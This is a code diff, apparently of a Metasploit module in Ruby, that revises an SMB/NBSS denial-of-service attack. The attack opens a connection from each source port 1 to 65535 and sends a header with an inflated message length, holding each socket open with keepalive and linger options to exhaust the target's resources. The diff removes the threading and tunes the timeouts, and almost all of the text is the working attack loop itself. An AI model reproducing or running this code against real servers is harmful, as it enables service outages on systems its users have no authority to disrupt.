@@ -50,45 +50,29 @@ def run
50
50
header = NbssHeader . new
51
51
header . message_length = 0x01FFFF
52
52
53
- worker_threads = Queue . new
54
-
55
- supervisor = Thread . new do
56
- loop do
57
- zombie_thread = worker_threads . pop ( true )
58
- unless zombie_thread . nil?
59
- zombie_thread . kill
60
- end
61
- end
62
- end
63
-
64
- linger = Socket ::Option . linger ( true , 30 )
53
+ linger = Socket ::Option . linger ( true , 60 )
65
54
66
55
( 1 ..65535 ) . each do |src_port |
67
56
print_status "Sending packet from Source Port: #{ src_port } "
68
- mythr = Thread . new do
69
- opts = {
70
- 'CPORT' => src_port ,
71
- 'ConnectTimeout' => 30
72
- }
73
-
74
- begin
75
- #nsock = Socket.tcp(rhost, rport, '0.0.0.0' , src_port)
76
- nsock = connect ( false , opts )
77
- nsock . setsockopt ( Socket ::SOL_SOCKET , Socket ::SO_KEEPALIVE , true )
78
- nsock . setsockopt ( Socket ::SOL_SOCKET , Socket ::SO_REUSEADDR , true )
79
- nsock . setsockopt ( linger )
80
-
81
- nsock . write ( header . to_binary_s )
82
- rescue Exception => e
83
- print_error "Exception sending packet: #{ e . message } "
84
- end
57
+ opts = {
58
+ 'CPORT' => src_port ,
59
+ 'ConnectTimeout' => 360
60
+ }
85
61
62
+ begin
63
+ nsock = connect ( false , opts )
64
+ nsock . setsockopt ( Socket ::SOL_SOCKET , Socket ::SO_KEEPALIVE , true )
65
+ nsock . setsockopt ( Socket ::Option . int ( :INET , :TCP , :KEEPCNT , 5 ) )
66
+ nsock . setsockopt ( Socket ::Option . int ( :INET , :TCP , :KEEPINTVL , 10 ) )
67
+ nsock . setsockopt ( linger )
68
+ nsock . write ( header . to_binary_s )
69
+ rescue ::Exception => e
70
+ print_error "Exception sending packet: #{ e . message } "
86
71
end
87
- worker_threads << mythr
88
72
end
89
73
print_status "Sleeping for 30 seconds..."
90
74
select ( nil , nil , nil , 30 )
91
- supervisor . kill
75
+
92
76
end
93
77
94
78
end
0 commit comments